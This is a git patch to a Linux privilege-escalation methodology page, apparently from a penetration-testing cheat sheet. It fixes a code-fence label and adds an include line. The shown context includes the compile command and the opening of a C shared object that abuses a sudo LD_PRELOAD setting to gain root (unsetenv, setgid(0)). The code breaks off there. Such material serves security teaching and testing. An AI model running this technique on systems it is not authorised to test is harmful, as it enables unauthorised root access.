From 9086ff9d03123b2ea988395fac01fc86d5e2cd3b Mon Sep 17 00:00:00 2001 From: M4x Date: Mon, 26 Jul 2021 16:04:39 +0800 Subject: [PATCH] add missing header file --- Methodology and Resources/Linux - Privilege Escalation.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Methodology and Resources/Linux - Privilege Escalation.md b/Methodology and Resources/Linux - Privilege Escalation.md index 46dcc56..c0a39c0 100644 --- a/Methodology and Resources/Linux - Privilege Escalation.md +++ b/Methodology and Resources/Linux - Privilege Escalation.md @@ -442,10 +442,11 @@ Defaults env_keep += LD_PRELOAD Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles` -```powershell +```c #include #include #include +#include void _init() { unsetenv("LD_PRELOAD"); setgid(0);